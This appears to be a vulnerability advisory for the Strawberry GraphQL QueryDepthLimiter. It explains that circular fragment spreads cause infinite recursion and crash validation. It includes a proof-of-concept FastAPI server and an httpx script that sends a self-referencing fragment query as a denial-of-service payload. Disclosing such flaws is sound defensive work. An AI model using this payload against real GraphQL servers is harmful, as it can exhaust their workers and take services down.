Summary The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determinedepth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details The determinedepth function in querydepthlimiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC server code import strawberry from fastapi import FastAPI from strawberry.fastapi import GraphQLRouter from strawberry.extensions import QueryDepthLimiter

@strawberry.type class User: name: str = "GONA"

@strawberry.type class Query: @strawberry.field def user(self) -> User: return User()

Enable depth limiting schema = strawberry.Schema( query=Query, extensions=[QueryDepthLimiter(maxdepth=10)] )

app = FastAPI() app.includerouter(GraphQLRouter(schema), prefix="/graphql")

exploit import httpx

Circular reference: A -> B -> A -> B ... payload = { "query": """ fragment A on User { ...B } fragment B on User { ...A } query Crash { user { ...A } } """ }

try: response = httpx.post("http://127.0.0.1:8000/graphql", json=payload) print(response.json()) except Exception as e: print(f"Server crashed or timed out: {e}")

Impact Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools